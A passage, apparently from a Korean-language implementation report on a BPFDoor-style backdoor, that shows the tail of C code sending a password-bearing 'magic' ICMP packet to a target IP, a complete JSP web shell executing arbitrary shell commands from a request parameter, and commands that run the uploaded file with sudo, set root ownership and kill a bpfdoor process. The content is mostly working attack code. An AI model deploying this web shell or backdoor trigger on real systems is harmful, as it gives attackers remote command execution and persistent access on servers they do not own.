    memcpy(mp->pass, magic_pass, 13);

    icmp->checksum = checksum(packet, sizeof(packet));

    struct sockaddr_in dest;
    dest.sin_family = AF_INET;
    dest.sin_addr.s_addr = inet_addr(target_ip);

    if (sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest, siz
eof(dest)) < 0) {
        perror("sendto");
        close(sockfd);
        return 1;
    }

    printf("Magic ICMP packet sent to %s\n", target_ip);
    close(sockfd);
    return 0;
}
```

3-3 webshell.jsp

```
<%@ page import="java.util.*,java.io.*"%>
<%@ page language="java" contentType="text/html; charset=UTF-8" pag
eEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8">
   <title>Web Shell</title>
</head>
<body>
   <form method="GET" name="cmdForm" action="">
      <input type="text" name="cmd" style="width:500px;">
      <input type="submit" value="실행">
   </form>
   <pre>
   <%
   if (request.getParameter("cmd") != null) {
      String cmd = request.getParameter("cmd");
      out.println("명령어: " + cmd + "<br>");

      try {
         Process p;
         if (System.getProperty("os.name").toLowerCase().indexOf("window
s") != -1) {
            p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
         } else {
            // 리눅스에서는 bash를 통해 실행
            p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cm
d});
         }

         // 표준 출력 읽기
         BufferedReader stdOut = new BufferedReader(new InputStreamRea
der(p.getInputStream(), "UTF-8"));
         // 에러 출력 읽기
         BufferedReader stdErr = new BufferedReader(new InputStreamRead
er(p.getErrorStream(), "UTF-8"));
```

```
            // 프로세스 완료 대기
            int exitCode = p.waitFor();

            out.println("=== 표준 출력 ===<br>");
            String line;
            while ((line = stdOut.readLine()) != null) {
                out.println(line + "<br>");
            }

            out.println("<br>=== 에러 출력 ===<br>");
            while ((line = stdErr.readLine()) != null) {
                out.println("<font color='red'>" + line + "</font><br>");
            }

            out.println("<br>종료 코드: " + exitCode);

            stdOut.close();
            stdErr.close();

        } catch (Exception e) {
            out.println("에러 발생: " + e.getMessage() + "<br>");
            e.printStackTrace(new java.io.PrintWriter(out));
        }
    }
    %>
    </pre>
</body>
</html>
```

3-4 구현 과정 명령어

```
ls -al /home/test/WAS/apache-tomcat-9.0.107/webapps/ROOT/file/f87b16acbe3a456c9a9d72c856f815e9.jsp

chmod 755 /home/admin/Desktop/apache-tomcat-9.0.107/webapps/ROOT/file/3c20ed6496d742ddae3a600a0f2660eb.jsp
```

```
sudo /home/test/WAS/apache-tomcat-9.0.107/webapps/ROOT/file/f87b16a
cbe3a456c9a9d72c856f815e9.jsp foo

/home/test/WAS/apache-tomcat-9.0.107/webapps/ROOT/file/f87b16acbe3a
456c9a9d72c856f815e9.jsp foo

chown root:root /home/test/WAS/apache-tomcat-9.0.107/webapps/ROOT/fi
le/f87b16acbe3a456c9a9d72c856f815e9.jsp foo

-------
이거임
echo 'test' | sudo -S /home/admin/Desktop/apache-tomcat-9.0.107/webap
ps/ROOT/file/3c20ed6496d742ddae3a600a0f2660eb.jsp foo




sudo -S rm -f /var/run/haldrund.pid
sudo -S pkill -f bpfdoor
sudo -S /home/admin/Desktop/apache-tomcat-9.0.107/webapps/ROOT/fil
e/3c20ed6496d742ddae3a600a0f2660eb.jsp foo
```